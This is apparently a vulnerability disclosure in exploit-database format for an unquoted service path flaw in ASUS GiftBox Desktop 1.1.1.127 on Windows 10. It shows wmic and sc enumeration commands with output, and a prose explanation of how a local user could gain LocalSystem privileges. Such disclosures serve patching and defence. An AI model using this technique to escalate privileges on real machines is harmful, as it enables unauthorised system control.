# Exploit Title: ASUS GiftBox Desktop 1.1.1.127 - 'ASUSGiftBoxDesktop' Unquoted Service Path
# Discovery by: Oscar Flores
# Discovery Date: 2020-03-05
# Vendor Homepage: https://www.asus.com/
# Software Link : https://www.microsoft.com/en-us/p/asus-giftbox/9wzdncrdrb6s?activetab=pivot:overviewtab 
# Tested Version: 1.1.1.127
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home Single Language

# Step to discover Unquoted Service Path: 

C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "ASUSGift" | findstr /i /v """

Asus GiftBox Desktop	ASUSGiftBoxDekstop	C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe		Auto 

# Service info:

C:\>sc qc ASUSGiftBoxDekstop
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ASUSGiftBoxDekstop
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Asus GiftBox Desktop
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

#Exploit:
# A successful attempt would require the local user to be able to insert their code in the 
# system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local 
# user's code would execute with the elevated privileges of the application.